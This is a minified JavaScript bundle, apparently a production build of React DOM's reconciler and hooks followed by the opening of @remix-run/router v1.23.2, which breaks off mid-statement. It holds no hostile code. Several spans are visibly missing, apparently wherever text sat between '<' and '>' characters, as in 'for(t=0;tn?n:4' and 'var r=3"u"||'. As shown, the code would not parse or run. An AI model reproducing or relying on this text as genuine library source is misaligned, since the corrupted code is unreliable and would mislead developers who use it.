d=e.alternate;d!==null&&(d=d.updateQueue,l=d.lastBaseUpdate,l!==o&&(l===null?d.firstBaseUpdate=u:l.next=u,d.lastBaseUpdate=c))}if(a!==null){var f=i.baseState;o=0,d=u=c=null,l=a;do{var m=l.lane,h=l.eventTime;if((r&m)===m){d!==null&&(d=d.next={eventTime:h,lane:0,tag:l.tag,payload:l.payload,callback:l.callback,next:null});e:{var x=e,g=l;switch(m=t,h=n,g.tag){case 1:if(x=g.payload,typeof x=="function"){f=x.call(h,f,m);break e}f=x;break e;case 3:x.flags=x.flags&-65537|128;case 0:if(x=g.payload,m=typeof x=="function"?x.call(h,f,m):x,m==null)break e;f=Ke({},f,m);break e;case 2:Fr=!0}}l.callback!==null&&l.lane!==0&&(e.flags|=64,m=i.effects,m===null?i.effects=[l]:m.push(l))}else h={eventTime:h,lane:m,tag:l.tag,payload:l.payload,callback:l.callback,next:null},d===null?(u=d=h,c=f):d=d.next=h,o|=m;if(l=l.next,l===null){if(l=i.shared.pending,l===null)break;m=l,l=m.next,m.next=null,i.lastBaseUpdate=m,i.shared.pending=null}}while(!0);if(d===null&&(c=f),i.baseState=c,i.firstBaseUpdate=u,i.lastBaseUpdate=d,t=i.shared.interleaved,t!==null){i=t;do o|=i.lane,i=i.next;while(i!==t)}else a===null&&(i.shared.lanes=0);Ki|=o,e.lanes=o,e.memoizedState=f}}function Gv(e,t,n){if(e=t.effects,t.effects=null,e!==null)for(t=0;tn?n:4,e(!0);var r=Tf.transition;Tf.transition={};try{e(!1),t()}finally{Pe=n,Tf.transition=r}}function cj(){return wn().memoizedState}function $C(e,t,n){var r=ni(e);if(n={lane:r,action:n,hasEagerState:!1,eagerState:null,next:null},uj(e))dj(t,n);else if(n=Hw(e,t,n,r),n!==null){var i=Tt();Ln(n,e,r,i),fj(n,t,r)}}function BC(e,t,n){var r=ni(e),i={lane:r,action:n,hasEagerState:!1,eagerState:null,next:null};if(uj(e))dj(t,i);else{var a=e.alternate;if(e.lanes===0&&(a===null||a.lanes===0)&&(a=t.lastRenderedReducer,a!==null))try{var o=t.lastRenderedState,l=a(o,n);if(i.hasEagerState=!0,i.eagerState=l,Dn(l,o)){var c=t.interleaved;c===null?(i.next=i,Bh(t)):(i.next=c.next,c.next=i),t.interleaved=i;return}}catch{}finally{}n=Hw(e,t,i,r),n!==null&&(i=Tt(),Ln(n,e,r,i),fj(n,t,r))}}function uj(e){var t=e.alternate;return e===Ve||t!==null&&t===Ve}function dj(e,t){Xs=_c=!0;var n=e.pending;n===null?t.next=t:(t.next=n.next,n.next=t),e.pending=t}function fj(e,t,n){if(n&4194240){var r=t.lanes;r&=e.pendingLanes,n|=r,t.lanes=n,zh(e,n)}}var Oc={readContext:bn,useCallback:zt,useContext:zt,useEffect:zt,useImperativeHandle:zt,useInsertionEffect:zt,useLayoutEffect:zt,useMemo:zt,useReducer:zt,useRef:zt,useState:zt,useDebugValue:zt,useDeferredValue:zt,useTransition:zt,useMutableSource:zt,useSyncExternalStore:zt,useId:zt,unstable_isNewReconciler:!1},FC={readContext:bn,useCallback:function(e,t){return Kn().memoizedState=[e,t===void 0?null:t],e},useContext:bn,useEffect:Zv,useImperativeHandle:function(e,t,n){return n=n!=null?n.concat([e]):null,nc(4194308,4,ij.bind(null,t,e),n)},useLayoutEffect:function(e,t){return nc(4194308,4,e,t)},useInsertionEffect:function(e,t){return nc(4,2,e,t)},useMemo:function(e,t){var n=Kn();return t=t===void 0?null:t,e=e(),n.memoizedState=[e,t],e},useReducer:function(e,t,n){var r=Kn();return t=n!==void 0?n(t):t,r.memoizedState=r.baseState=t,e={pending:null,interleaved:null,lanes:0,dispatch:null,lastRenderedReducer:e,lastRenderedState:t},r.queue=e,e=e.dispatch=$C.bind(null,Ve,e),[r.memoizedState,e]},useRef:function(e){var t=Kn();return e={current:e},t.memoizedState=e},useState:Xv,useDebugValue:Gh,useDeferredValue:function(e){return Kn().memoizedState=e},useTransition:function(){var e=Xv(!1),t=e[0];return e=RC.bind(null,e[1]),Kn().memoizedState=e,[t,e]},useMutableSource:function(){},useSyncExternalStore:function(e,t,n){var r=Ve,i=Kn();if(Be){if(n===void 0)throw Error(Z(407));n=n()}else{if(n=t(),ht===null)throw Error(Z(349));Hi&30||Xw(r,t,n)}i.memoizedState=n;var a={value:n,getSnapshot:t};return i.queue=a,Zv(Qw.bind(null,r,a,e),[e]),r.flags|=2048,xo(9,Zw.bind(null,r,a,n,t),void 0,null),n},useId:function(){var e=Kn(),t=ht.identifierPrefix;if(Be){var n=ur,r=cr;n=(r&~(1<<32-Mn(r)-1)).toString(32)+n,t=":"+t+"R"+n,n=mo++,0<\/script>",e=e.removeChild(e.firstChild)):typeof r.is=="string"?e=o.createElement(n,{is:r.is}):(e=o.createElement(n),n==="select"&&(o=e,r.multiple?o.multiple=!0:r.size&&(o.size=r.size))):e=o.createElementNS(e,n),e[qn]=t,e[uo]=r,jj(e,t,!1,!1),t.stateNode=e;e:{switch(o=Op(n,r),n){case"dialog":Le("cancel",e),Le("close",e),i=r;break;case"iframe":case"object":case"embed":Le("load",e),i=r;break;case"video":case"audio":for(i=0;iVa&&(t.flags|=128,r=!0,Ns(a,!1),t.lanes=4194304)}else{if(!r)if(e=Ac(o),e!==null){if(t.flags|=128,r=!0,n=e.updateQueue,n!==null&&(t.updateQueue=n,t.flags|=4),Ns(a,!0),a.tail===null&&a.tailMode==="hidden"&&!o.alternate&&!Be)return Ct(t),null}else 2*Je()-a.renderingStartTime>Va&&n!==1073741824&&(t.flags|=128,r=!0,Ns(a,!1),t.lanes=4194304);a.isBackwards?(o.sibling=t.child,t.child=o):(n=a.last,n!==null?n.sibling=o:t.child=o,a.last=o)}return a.tail!==null?(t=a.tail,a.rendering=t,a.tail=t.sibling,a.renderingStartTime=Je(),t.sibling=null,n=Ue.current,Me(Ue,r?n&1|2:n&1),t):(Ct(t),null);case 22:case 23:return tx(),r=t.memoizedState!==null,e!==null&&e.memoizedState!==null!==r&&(t.flags|=8192),r&&t.mode&1?Zt&1073741824&&(Ct(t),t.subtreeFlags&6&&(t.flags|=8192)):Ct(t),null;case 24:return null;case 25:return null}throw Error(Z(156,t.tag))}function GC(e,t){switch(Lh(t),t.tag){case 1:return Ht(t.type)&&kc(),e=t.flags,e&65536?(t.flags=e&-65537|128,t):null;case 3:return Wa(),De(Vt),De(Et),Vh(),e=t.flags,e&65536&&!(e&128)?(t.flags=e&-65537|128,t):null;case 5:return Uh(t),null;case 13:if(De(Ue),e=t.memoizedState,e!==null&&e.dehydrated!==null){if(t.alternate===null)throw Error(Z(340));Ba()}return e=t.flags,e&65536?(t.flags=e&-65537|128,t):null;case 19:return De(Ue),null;case 4:return Wa(),null;case 10:return $h(t.type._context),null;case 22:case 23:return tx(),null;case 24:return null;default:return null}}var Nl=!1,Pt=!1,XC=typeof WeakSet=="function"?WeakSet:Set,ie=null;function Na(e,t){var n=e.ref;if(n!==null)if(typeof n=="function")try{n(null)}catch(r){Xe(e,t,r)}else n.current=null}function am(e,t,n){try{n()}catch(r){Xe(e,t,r)}}var lg=!1;function ZC(e,t){if(Wp=yc,e=Ew(),Th(e)){if("selectionStart"in e)var n={start:e.selectionStart,end:e.selectionEnd};else e:{n=(n=e.ownerDocument)&&n.defaultView||window;var r=n.getSelection&&n.getSelection();if(r&&r.rangeCount!==0){n=r.anchorNode;var i=r.anchorOffset,a=r.focusNode;r=r.focusOffset;try{n.nodeType,a.nodeType}catch{n=null;break e}var o=0,l=-1,c=-1,u=0,d=0,f=e,m=null;t:for(;;){for(var h;f!==n||i!==0&&f.nodeType!==3||(l=o+i),f!==a||r!==0&&f.nodeType!==3||(c=o+r),f.nodeType===3&&(o+=f.nodeValue.length),(h=f.firstChild)!==null;)m=f,f=h;for(;;){if(f===e)break t;if(m===n&&++u===i&&(l=o),m===a&&++d===r&&(c=o),(h=f.nextSibling)!==null)break;f=m,m=f.parentNode}f=h}n=l===-1||c===-1?null:{start:l,end:c}}else n=null}n=n||{start:0,end:0}}else n=null;for(Up={focusedElem:e,selectionRange:n},yc=!1,ie=t;ie!==null;)if(t=ie,e=t.child,(t.subtreeFlags&1028)!==0&&e!==null)e.return=t,ie=e;else for(;ie!==null;){t=ie;try{var x=t.alternate;if(t.flags&1024)switch(t.tag){case 0:case 11:case 15:break;case 1:if(x!==null){var g=x.memoizedProps,y=x.memoizedState,v=t.stateNode,b=v.getSnapshotBeforeUpdate(t.elementType===t.type?g:Pn(t.type,g),y);v.__reactInternalSnapshotBeforeUpdate=b}break;case 3:var w=t.stateNode.containerInfo;w.nodeType===1?w.textContent="":w.nodeType===9&&w.documentElement&&w.removeChild(w.documentElement);break;case 5:case 6:case 4:case 17:break;default:throw Error(Z(163))}}catch(j){Xe(t,t.return,j)}if(e=t.sibling,e!==null){e.return=t.return,ie=e;break}ie=t.return}return x=lg,lg=!1,x}function Zs(e,t,n){var r=t.updateQueue;if(r=r!==null?r.lastEffect:null,r!==null){var i=r=r.next;do{if((i.tag&e)===e){var a=i.destroy;i.destroy=void 0,a!==void 0&&am(t,n,a)}i=i.next}while(i!==r)}}function Uu(e,t){if(t=t.updateQueue,t=t!==null?t.lastEffect:null,t!==null){var n=t=t.next;do{if((n.tag&e)===e){var r=n.create;n.destroy=r()}n=n.next}while(n!==t)}}function sm(e){var t=e.ref;if(t!==null){var n=e.stateNode;switch(e.tag){case 5:e=n;break;default:e=n}typeof t=="function"?t(e):t.current=e}}function Sj(e){var t=e.alternate;t!==null&&(e.alternate=null,Sj(t)),e.child=null,e.deletions=null,e.sibling=null,e.tag===5&&(t=e.stateNode,t!==null&&(delete t[qn],delete t[uo],delete t[Kp],delete t[TC],delete t[MC])),e.stateNode=null,e.return=null,e.dependencies=null,e.memoizedProps=null,e.memoizedState=null,e.pendingProps=null,e.stateNode=null,e.updateQueue=null}function zj(e){return e.tag===5||e.tag===3||e.tag===4}function cg(e){e:for(;;){for(;e.sibling===null;){if(e.return===null||zj(e.return))return null;e=e.return}for(e.sibling.return=e.return,e=e.sibling;e.tag!==5&&e.tag!==6&&e.tag!==18;){if(e.flags&2||e.child===null||e.tag===4)continue e;e.child.return=e,e=e.child}if(!(e.flags&2))return e.stateNode}}function om(e,t,n){var r=e.tag;if(r===5||r===6)e=e.stateNode,t?n.nodeType===8?n.parentNode.insertBefore(e,t):n.insertBefore(e,t):(n.nodeType===8?(t=n.parentNode,t.insertBefore(e,n)):(t=n,t.appendChild(e)),n=n._reactRootContainer,n!=null||t.onclick!==null||(t.onclick=jc));else if(r!==4&&(e=e.child,e!==null))for(om(e,t,n),e=e.sibling;e!==null;)om(e,t,n),e=e.sibling}function lm(e,t,n){var r=e.tag;if(r===5||r===6)e=e.stateNode,t?n.insertBefore(e,t):n.appendChild(e);else if(r!==4&&(e=e.child,e!==null))for(lm(e,t,n),e=e.sibling;e!==null;)lm(e,t,n),e=e.sibling}var bt=null,En=!1;function Rr(e,t,n){for(n=n.child;n!==null;)Cj(e,t,n),n=n.sibling}function Cj(e,t,n){if(Zn&&typeof Zn.onCommitFiberUnmount=="function")try{Zn.onCommitFiberUnmount(Lu,n)}catch{}switch(n.tag){case 5:Pt||Na(n,t);case 6:var r=bt,i=En;bt=null,Rr(e,t,n),bt=r,En=i,bt!==null&&(En?(e=bt,n=n.stateNode,e.nodeType===8?e.parentNode.removeChild(n):e.removeChild(n)):bt.removeChild(n.stateNode));break;case 18:bt!==null&&(En?(e=bt,n=n.stateNode,e.nodeType===8?Af(e.parentNode,n):e.nodeType===1&&Af(e,n),ao(e)):Af(bt,n.stateNode));break;case 4:r=bt,i=En,bt=n.stateNode.containerInfo,En=!0,Rr(e,t,n),bt=r,En=i;break;case 0:case 11:case 14:case 15:if(!Pt&&(r=n.updateQueue,r!==null&&(r=r.lastEffect,r!==null))){i=r=r.next;do{var a=i,o=a.destroy;a=a.tag,o!==void 0&&(a&2||a&4)&&am(n,t,o),i=i.next}while(i!==r)}Rr(e,t,n);break;case 1:if(!Pt&&(Na(n,t),r=n.stateNode,typeof r.componentWillUnmount=="function"))try{r.props=n.memoizedProps,r.state=n.memoizedState,r.componentWillUnmount()}catch(l){Xe(n,t,l)}Rr(e,t,n);break;case 21:Rr(e,t,n);break;case 22:n.mode&1?(Pt=(r=Pt)||n.memoizedState!==null,Rr(e,t,n),Pt=r):Rr(e,t,n);break;default:Rr(e,t,n)}}function ug(e){var t=e.updateQueue;if(t!==null){e.updateQueue=null;var n=e.stateNode;n===null&&(n=e.stateNode=new XC),t.forEach(function(r){var i=sP.bind(null,e,r);n.has(r)||(n.add(r),r.then(i,i))})}}function zn(e,t){var n=t.deletions;if(n!==null)for(var r=0;ri&&(i=o),r&=~a}if(r=i,r=Je()-r,r=(120>r?120:480>r?480:1080>r?1080:1920>r?1920:3e3>r?3e3:4320>r?4320:1960*JC(r/1960))-r,10e?16:e,qr===null)var r=!1;else{if(e=qr,qr=null,Lc=0,be&6)throw Error(Z(331));var i=be;for(be|=4,ie=e.current;ie!==null;){var a=ie,o=a.child;if(ie.flags&16){var l=a.deletions;if(l!==null){for(var c=0;cJe()-Jh?Di(e,0):Qh|=n),Kt(e,t)}function Lj(e,t){t===0&&(e.mode&1?(t=hl,hl<<=1,!(hl&130023424)&&(hl=4194304)):t=1);var n=Tt();e=vr(e,t),e!==null&&(Bo(e,t,n),Kt(e,n))}function aP(e){var t=e.memoizedState,n=0;t!==null&&(n=t.retryLane),Lj(e,n)}function sP(e,t){var n=0;switch(e.tag){case 13:var r=e.stateNode,i=e.memoizedState;i!==null&&(n=i.retryLane);break;case 19:r=e.stateNode;break;default:throw Error(Z(314))}r!==null&&r.delete(t),Lj(e,n)}var Ij;Ij=function(e,t,n){if(e!==null)if(e.memoizedProps!==t.pendingProps||Vt.current)Bt=!0;else{if(!(e.lanes&n)&&!(t.flags&128))return Bt=!1,qC(e,t,n);Bt=!!(e.flags&131072)}else Bt=!1,Be&&t.flags&1048576&&Bw(t,zc,t.index);switch(t.lanes=0,t.tag){case 2:var r=t.type;rc(e,t),e=t.pendingProps;var i=$a(t,Et.current);Ta(t,n),i=Kh(null,t,r,e,i,n);var a=qh();return t.flags|=1,typeof i=="object"&&i!==null&&typeof i.render=="function"&&i.$$typeof===void 0?(t.tag=1,t.memoizedState=null,t.updateQueue=null,Ht(r)?(a=!0,Nc(t)):a=!1,t.memoizedState=i.state!==null&&i.state!==void 0?i.state:null,Fh(t),i.updater=Wu,t.stateNode=i,i._reactInternals=t,Qp(t,r,e,n),t=tm(null,t,r,!0,a,n)):(t.tag=0,Be&&a&&Mh(t),_t(null,t,i,n),t=t.child),t;case 16:r=t.elementType;e:{switch(rc(e,t),e=t.pendingProps,i=r._init,r=i(r._payload),t.type=r,i=t.tag=lP(r),e=Pn(r,e),i){case 0:t=em(null,t,r,e,n);break e;case 1:t=ag(null,t,r,e,n);break e;case 11:t=rg(null,t,r,e,n);break e;case 14:t=ig(null,t,r,Pn(r.type,e),n);break e}throw Error(Z(306,r,""))}return t;case 0:return r=t.type,i=t.pendingProps,i=t.elementType===r?i:Pn(r,i),em(e,t,r,i,n);case 1:return r=t.type,i=t.pendingProps,i=t.elementType===r?i:Pn(r,i),ag(e,t,r,i,n);case 3:e:{if(yj(t),e===null)throw Error(Z(387));r=t.pendingProps,a=t.memoizedState,i=a.element,Kw(e,t),Ec(t,r,null,n);var o=t.memoizedState;if(r=o.element,a.isDehydrated)if(a={element:r,isDehydrated:!1,cache:o.cache,pendingSuspenseBoundaries:o.pendingSuspenseBoundaries,transitions:o.transitions},t.updateQueue.baseState=a,t.memoizedState=a,t.flags&256){i=Ua(Error(Z(423)),t),t=sg(e,t,r,n,i);break e}else if(r!==i){i=Ua(Error(Z(424)),t),t=sg(e,t,r,n,i);break e}else for(Jt=Jr(t.stateNode.containerInfo.firstChild),tn=t,Be=!0,An=null,n=Vw(t,null,r,n),t.child=n;n;)n.flags=n.flags&-3|4096,n=n.sibling;else{if(Ba(),r===i){t=gr(e,t,n);break e}_t(e,t,r,n)}t=t.child}return t;case 5:return qw(t),e===null&&Gp(t),r=t.type,i=t.pendingProps,a=e!==null?e.memoizedProps:null,o=i.children,Vp(r,i)?o=null:a!==null&&Vp(r,a)&&(t.flags|=32),gj(e,t),_t(e,t,o,n),t.child;case 6:return e===null&&Gp(t),null;case 13:return bj(e,t,n);case 4:return Wh(t,t.stateNode.containerInfo),r=t.pendingProps,e===null?t.child=Fa(t,null,r,n):_t(e,t,r,n),t.child;case 11:return r=t.type,i=t.pendingProps,i=t.elementType===r?i:Pn(r,i),rg(e,t,r,i,n);case 7:return _t(e,t,t.pendingProps,n),t.child;case 8:return _t(e,t,t.pendingProps.children,n),t.child;case 12:return _t(e,t,t.pendingProps.children,n),t.child;case 10:e:{if(r=t.type._context,i=t.pendingProps,a=t.memoizedProps,o=i.value,Me(Cc,r._currentValue),r._currentValue=o,a!==null)if(Dn(a.value,o)){if(a.children===i.children&&!Vt.current){t=gr(e,t,n);break e}}else for(a=t.child,a!==null&&(a.return=t);a!==null;){var l=a.dependencies;if(l!==null){o=a.child;for(var c=l.firstContext;c!==null;){if(c.context===r){if(a.tag===1){c=pr(-1,n&-n),c.tag=2;var u=a.updateQueue;if(u!==null){u=u.shared;var d=u.pending;d===null?c.next=c:(c.next=d.next,d.next=c),u.pending=c}}a.lanes|=n,c=a.alternate,c!==null&&(c.lanes|=n),Xp(a.return,n,t),l.lanes|=n;break}c=c.next}}else if(a.tag===10)o=a.type===t.type?null:a.child;else if(a.tag===18){if(o=a.return,o===null)throw Error(Z(341));o.lanes|=n,l=o.alternate,l!==null&&(l.lanes|=n),Xp(o,n,t),o=a.sibling}else o=a.child;if(o!==null)o.return=a;else for(o=a;o!==null;){if(o===t){o=null;break}if(a=o.sibling,a!==null){a.return=o.return,o=a;break}o=o.return}a=o}_t(e,t,i.children,n),t=t.child}return t;case 9:return i=t.type,r=t.pendingProps.children,Ta(t,n),i=bn(i),r=r(i),t.flags|=1,_t(e,t,r,n),t.child;case 14:return r=t.type,i=Pn(r,t.pendingProps),i=Pn(r.type,i),ig(e,t,r,i,n);case 15:return xj(e,t,t.type,t.pendingProps,n);case 17:return r=t.type,i=t.pendingProps,i=t.elementType===r?i:Pn(r,i),rc(e,t),t.tag=1,Ht(r)?(e=!0,Nc(t)):e=!1,Ta(t,n),pj(t,r,i),Qp(t,r,i,n),tm(null,t,r,!0,e,n);case 19:return wj(e,t,n);case 22:return vj(e,t,n)}throw Error(Z(156,t.tag))};function Dj(e,t){return uw(e,t)}function oP(e,t,n,r){this.tag=e,this.key=n,this.sibling=this.child=this.return=this.stateNode=this.type=this.elementType=null,this.index=0,this.ref=null,this.pendingProps=t,this.dependencies=this.memoizedState=this.updateQueue=this.memoizedProps=null,this.mode=r,this.subtreeFlags=this.flags=0,this.deletions=null,this.childLanes=this.lanes=0,this.alternate=null}function vn(e,t,n,r){return new oP(e,t,n,r)}function rx(e){return e=e.prototype,!(!e||!e.isReactComponent)}function lP(e){if(typeof e=="function")return rx(e)?1:0;if(e!=null){if(e=e.$$typeof,e===jh)return 11;if(e===kh)return 14}return 2}function ri(e,t){var n=e.alternate;return n===null?(n=vn(e.tag,t,e.key,e.mode),n.elementType=e.elementType,n.type=e.type,n.stateNode=e.stateNode,n.alternate=e,e.alternate=n):(n.pendingProps=t,n.type=e.type,n.flags=0,n.subtreeFlags=0,n.deletions=null),n.flags=e.flags&14680064,n.childLanes=e.childLanes,n.lanes=e.lanes,n.child=e.child,n.memoizedProps=e.memoizedProps,n.memoizedState=e.memoizedState,n.updateQueue=e.updateQueue,t=e.dependencies,n.dependencies=t===null?null:{lanes:t.lanes,firstContext:t.firstContext},n.sibling=e.sibling,n.index=e.index,n.ref=e.ref,n}function sc(e,t,n,r,i,a){var o=2;if(r=e,typeof e=="function")rx(e)&&(o=1);else if(typeof e=="string")o=5;else e:switch(e){case ha:return Ri(n.children,i,a,t);case wh:o=8,i|=8;break;case jp:return e=vn(12,n,t,i|2),e.elementType=jp,e.lanes=a,e;case kp:return e=vn(13,n,t,i),e.elementType=kp,e.lanes=a,e;case Np:return e=vn(19,n,t,i),e.elementType=Np,e.lanes=a,e;case q2:return Hu(n,i,a,t);default:if(typeof e=="object"&&e!==null)switch(e.$$typeof){case H2:o=10;break e;case K2:o=9;break e;case jh:o=11;break e;case kh:o=14;break e;case Br:o=16,r=null;break e}throw Error(Z(130,e==null?e:typeof e,""))}return t=vn(o,n,t,i),t.elementType=e,t.type=r,t.lanes=a,t}function Ri(e,t,n,r){return e=vn(7,e,r,t),e.lanes=n,e}function Hu(e,t,n,r){return e=vn(22,e,r,t),e.elementType=q2,e.lanes=n,e.stateNode={isHidden:!1},e}function Rf(e,t,n){return e=vn(6,e,null,t),e.lanes=n,e}function $f(e,t,n){return t=vn(4,e.children!==null?e.children:[],e.key,t),t.lanes=n,t.stateNode={containerInfo:e.containerInfo,pendingChildren:null,implementation:e.implementation},t}function cP(e,t,n,r,i){this.tag=t,this.containerInfo=e,this.finishedWork=this.pingCache=this.current=this.pendingChildren=null,this.timeoutHandle=-1,this.callbackNode=this.pendingContext=this.context=null,this.callbackPriority=0,this.eventTimes=yf(0),this.expirationTimes=yf(-1),this.entangledLanes=this.finishedLanes=this.mutableReadLanes=this.expiredLanes=this.pingedLanes=this.suspendedLanes=this.pendingLanes=0,this.entanglements=yf(0),this.identifierPrefix=r,this.onRecoverableError=i,this.mutableSourceEagerHydrationData=null}function ix(e,t,n,r,i,a,o,l,c){return e=new cP(e,t,n,l,c),t===1?(t=1,a===!0&&(t|=8)):t=0,a=vn(3,null,null,t),e.current=a,a.stateNode=e,a.memoizedState={element:r,isDehydrated:n,cache:null,transitions:null,pendingSuspenseBoundaries:null},Fh(a),e}function uP(e,t,n){var r=3"u"||typeof __REACT_DEVTOOLS_GLOBAL_HOOK__.checkDCE!="function"))try{__REACT_DEVTOOLS_GLOBAL_HOOK__.checkDCE(Fj)}catch(e){console.error(e)}}Fj(),F2.exports=on;var lx=F2.exports,gg=lx;bp.createRoot=gg.createRoot,bp.hydrateRoot=gg.hydrateRoot;/** * @remix-run/router v1.23.2 * * Copyright (c) Remix Software Inc. * * This source code is licensed under the MIT license found in the * LICENSE.md file in the root directory of this source tree. * * @license MIT */function go(){return go=Object.assign?Object.assign.bind():function(e){for(var t=1;t"u")throw new Error(t)}function cx(e,t){if(!e){typeof console<"u"&&console.warn(t);try{throw new Error(t)}catch{}}}function xP(){return Math.random().toString(36).substr(2,8)}function bg(e,t){return{usr:e.state,key:e.key,idx:t}}function pm(e,t,n,r){return n===void 0&&(n=null),go({pathname:typeof e=="string"?e:e.pathname,search:"",hash:""},typeof t=="string"?ns(t):t,{state:n,key:t&&t.key||r||xP()})}function Rc(e){let{pathname:t="/",search:n="",hash:r=""}=e;return n&&n!=="?"&&(t+=n.charAt(0)==="?"?n:"?"+n),r&&r!=="#"&&(t+=r.charAt(0)==="#"?r:"#"+r),t}function ns(e){let t={};if(e){let n=e.indexOf("#");n>=0&&(t.hash=e.substr(n),e=e.substr(0,n));let r=e.indexOf("?");r>=0&&(t.search=e.substr(r),e=e.substr(0,r)),e&&(t.pathname=e)}return t}function vP(e,t,n,r){r===void 0&&(r={});let{window:i=document.defaultView,v5Compat:a=!1}=r,o=i.history,l=Yr.Pop,c=null,u=d();u==null&&(u=0,o.replaceState(go({},o.state,{idx:u}),""));function d(){return(o.state||{idx:null}).idx}function f(){l=Yr.Pop;let y=d(),v=y==null?null:y-u;u=y,c&&c({action:l,location:g.location,delta:v})}function m(y,v){l=Yr.Push;let b=pm(g.location,y,v);u=d()+1;let w=bg(b,u),j=g.createHref(b);try{o.pushState(w,"",j)}catch(k){if(k instanceof DOMException&&k.name==="DataCloneError")throw k;i.location.assign(j)}a&&c&&c({action:l,location:g.location,delta:1})}function h(y,v){l=Yr.Replace;let b=pm(g.location,y,v);u=d();let w=bg(b,u),j=g.createHref(b);o.replaceState(w,"",j),a&&c&&c({action:l,location:g.location,delta:0})}function x(y){let v=i.location.origin!=="null"?i.location.origin:i.location.href,b=typeof y=="string"?y:Rc(y);return b=b.replace(/ $/,"%20"),He(v,"No window.location.(origin|href) available to create URL for href: "+b),new URL(b,v)}let g={get action(){return l},get location(){return e(i,o)},listen(y){if(c)throw new Error("A history only accepts one active listener");return i.addEventListener(yg,f),c=y,()=>{i.removeEventListener(yg,f),c=null}},createHref(y){return t(i,y)},createURL:x,encodeLocation(y){let v=x(y);return{pathname:v.pathname,search:v.search,hash:v.hash}},push:m,replace:h,go(y){return o.go(y)}};return g}var wg;(function(e){e.data="data",e.deferred="deferred",e.redirect="redirect",e.error="error"})(wg||(wg={}));function gP(e,t,n){return n===void 0&&(n="/"),yP(e,t,n)}function yP(e,t,n,r){let i=typeof t=="string"?ns(t):t,a=Ha(i.pathname||"/",n);if(a==null)return null;let o=Wj(e);bP(o);let l=null;for(let c=0;l==null&&c{let c={relativePath:l===void 0?a.path||"":l,caseSensitive:a.caseSensitive===!0,childrenIndex:o,route:a};c.relativePath.startsWith("/")&&(He(c.relativePath.startsWith(r),'Absolute route path "'+c.relativePath+'" nested under path '+('"'+r+'" is not valid. An absolute child route path ')+"must start with the combined path of all its parent routes."),c.relativePath=c.relativePath.slice(r.length));let u=ii([r,c.relativePath]),d=n.concat(c);a.children&&a.children.length>0&&(He(a.index!==!0,"Index routes must not have child routes. Please remove "+('all child routes from route path "'+u+'".')),Wj(a.children,t,d,u)),!(a.path==null&&!a.index)&&t.push({path:u,score:CP(u,a.index),routesMeta:d})};return e.forEach((a,o)=>{var l;if(a.path===""||!((l=a.path)!=null&&l.includes("?")))i(a,o);else for(let c of Uj(a.path))i(a,o,c)}),t}function Uj(e){let t=e.split("/");if(t.length===0)return[];let[n,...r]=t,i=n.endsWith("?"),a=n.replace(/\?$/,"");if(r.length===0)return i?[a,""]:[a];let o=Uj(r.join("/")),l=[];return l.push(...o.map(c=>c===""?a:[a,c].join("/"))),i&&l.push(...o),l.map(c=>e.startsWith("/")&&c===""?"/":c)}function bP(e){e.sort((t,n)=>t.score!==n.score?n.score-t.score:PP(t.routesMeta.map(r=>r.childrenIndex),n.routesMeta.map(r=>r.childrenIndex)))}const wP=/^:[\w-]+$/,jP=3,kP=2,NP=1,SP=10,zP=-2,jg=e=>e==="*";function CP(e,t){let n=e.split("/"),r=n.length;return n.some(jg)&&(r+=zP),t&&(r+=kP),n.filter(i=>!jg(i)).reduce((i,a)=>i+(wP.test(a)?jP:a===""?NP:SP),r)}function PP(e,t){return e.length===t.length&&e.slice(0,-1).every((r,i)=>r===t[i])?e[e.length-1]-t[t.length-1]:0}function EP(e,t,n){let{routesMeta:r}=e,i={},a="/",o=[];for(let l=0;l{let{paramName:m,isOptional:h}=d;if(m==="*"){let g=l[f]||"";o=a.slice(0,a.length-g.length).replace(/(.)\/+$/,"$1")}const x=l[f];return h&&!x?u[m]=void 0:u[m]=(x||"").replace(/%2F/g,"/"),u},{}),pathname:a,pathnameBase:o,pattern:e}}function AP(e,t,n){t===void 0&&(t=!1),n===void 0&&(n=!0),cx(e==="*"||!e.endsWith("*")||e.endsWith("/*"),'Route path "'+e+'" will be treated as if it were '+('"'+e.replace(/\*$/,"/*")+'" because the `*` character must ')+"always follow a `/` in the pattern. To get rid of this warning, "+('please change the route path to "'+e.replace(/\*$/,"/*")+'".'));let r=[],i="^"+e.replace(/\/*\*?$/,"").replace(/^\/*/,"/").replace(/[\\.*+^${}|()[\]]/g,"\\$&").replace(/\/:([\w-]+)(\?)?/g,(o,l,c)=>(r.push({paramName:l,isOptional:c!=null}),c?"/?([^\\/]+)?":"/([^\\/]+)"));return e.endsWith("*")?(r.push({paramName:"*"}),i+=e==="*"||e==="/*"?"(.*)$":"(?:\\/(.+)|\\/*)$"):n?i+="\\/*$":e!==""&&e!=="/"&&(i+="(?:(?=\\/|$))"),[new RegExp(i,t?void 0:"i"),r]}function _P(e){try{return e.split("/").map(t=>decodeURIComponent(t).replace(/\//g,"%2F")).join("/")}catch(t){return cx(!1,'The URL path "'+e+'" could not be decoded because it is is a malformed URL segment. This is probably due to a bad percent '+("encoding ("+t+").")),e}}function Ha(e,t){if(t==="/")return e;if(!e.toLowerCase().startsWith(t.toLowerCase()))return null;let n=t.endsWith("/")?t.length-1:t.length,r=e.charAt(n);return r&&r!=="/"?null:e.slice(n)||"/"}const OP=/^(?:[a-z][a-z0-9+.-]*:|\/\/)/i,TP=e=>OP.test(e);function MP(e,t){t===void 0&&(t="/");let{pathname:n,search:r="",hash:i=""}=typeof e=="string"?ns(e):e,a;if(n)if(TP(n))a=n;else{if(n.includes("//")){let o=n;n=n.replace(/\/\/+/g,"/"),cx(!1,"Pathnames cannot have embedded double slashes - normalizing "+(o+" -> "+n))}n.startsWith("/")?a=kg(n.substring(1),"/"):a=kg(n,t)}else a=t;return{pathname:a,search:DP(r),hash:RP(i)}}function kg(e,t){let n=t.replace(/\/+$/,"").split("/");return e.split("/").forEach(i=>{i===".."?n.length>1&&n.pop():i!=="."&&n.push(i)}),n.length>1?n.join("/"):"/"}function Bf(e,t,n,r){return"Cannot include a '"+e+"' character in a manually specified "+("`to."+t+"` field ["+JSON.stringify(r)+"]. Please separate it out to the ")+("`to."+n+"` field. Alternatively you may provide the full path as ")+'a string in and the router will parse it for you.'}function LP(e){return e.filter((t,n)=>n===0||t.route.path&&t.route.path.length>0)}function ux(e,t){let n=LP(e);return t?n.map((r,i)=>i===n.length-1?r.pathname:r.pathnameBase):n.map(r=>r.pathnameBase)}function dx(e,t,n,r){r===void 0&&(r=!1);let i;typeof 